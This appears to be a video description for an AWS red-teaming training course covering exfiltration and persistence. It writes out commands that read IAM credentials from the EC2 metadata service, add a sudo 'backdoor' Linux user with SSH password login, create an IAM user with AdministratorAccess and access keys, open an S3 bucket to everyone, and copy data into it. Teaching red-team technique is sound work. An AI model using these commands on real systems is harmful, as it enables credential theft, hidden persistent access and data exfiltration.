AWS Cloud Red Teaming Training Part 02 - Exfiltration, Persistence, S3 compromise and Netcat.
AWS Cloud Red Teaming Training Part 02 - Exfiltration, Persistence, S3 compromise and Netcat.
** Part 01 Link**
• AWS Cloud Red Teaming Training Part 01 - V...
Download the PDF Guide for AWS Red Teaming - https://drive.google.com/file/d/1dG_K...
**VPC LAB Creation**
• AWS Pentesting - Creating cloud lab for VP...
**Trainer Profile**
/ dipeshcybersecurity
/ dip7sh
**AWS Red Teaming syllabus**
1.AWS Keys compromise from various sources such as Github, google dorking.
2.Lateral movement in VPC
3.Find the secret in isolated instance
4.Data exfiltration with the help of netcat
5.Data exfiltration with the help of S3 bucket
6.Setting up persistence on Ubuntu and AWS account
7.Working with S3 from the red teaming perspective
============== Query credentials from logged in instacnes ==============
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/RedTeamingRole
============== End ==============
Netcat related commands download from here: (uploading soon)
============== Setting up backdoor user on Linux ==============
sudo adduser backdoor
sudo usermod -aG sudo backdoor
sudo passwd backdoor
sudo nano /etc/ssh/sshd_config
Change the line that says PasswordAuthentication no to PasswordAuthentication yes. Save and exit the file
sudo service ssh restart
ssh [email protected]
=======Setting up backdoor user ends for linux VM======
============== Setting up backdoor user on AWS Account ==============
aws sts get-caller-identity
aws iam create-access-key --user-name redteaming
create a user if not existing:
aws iam create-user --user-name my-user
aws iam attach-user-policy --user-name my-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name my-user
============== End ==============
S3 Bucket URL example:
https://open-bucket-for-redteaming.s3...
===Bucket policy====
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicReadGetObject",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:*",
"Resource": "arn:aws:s3:::open-bucket-for-redteaming/*"
}
]
}
============== End ==============
============== copy content to the bucket ==============
aws s3 cp example.txt s3://my-bucket/
aws s3 cp my-folder s3://my-bucket/my-folder --recursive
============== End ==============
=======***End of commands***=======
Find the latest services offering here - https://bit.ly/42x2SrE
Our social media handles:
🐦 Twitter: twitter.com/CybersSecret
💼 LinkedIn: linkedin.com/company/CybersSecret
📺 YouTube: / cyberssecret
📘 Facebook: facebook.com/CybersSecretOfficial
📸 Instagram: instagram.com/CybersSecret
Queries:
cloud hacking for beginner
aws hacking for beginner
aws hacking
aws pentesting
aws red teaming
cloud hacking
red teaming
hacking
pentesting
aws pentesting
cloud pentesting
penetration testing
cloud penetration testing
aws penetration testing
vpc hacking
lateral movement
data exfiltration
pivoting
post exploitation
s3 hacking
s3 bucket
netcat
playing with s3
web application hacking
web application penetration testing
amazon web services
aws cloud
how to do red teaming
how to perform red teaming
what is red teaming
red teaming vs blue teaming
red teaming vs pentesting
red teaming vs penetration testing
what is red teaming
red teaming guide
#AWS #CloudRedTeaming #LiveRecording #Cybersecurity #RedTeam #AWSWorkshop #CloudSecurity #HandsOnLearning #CyberTraining #SecurityWorkshop #LiveSession #SecurityTraining #AWSLearning #s3 #netcat #hacking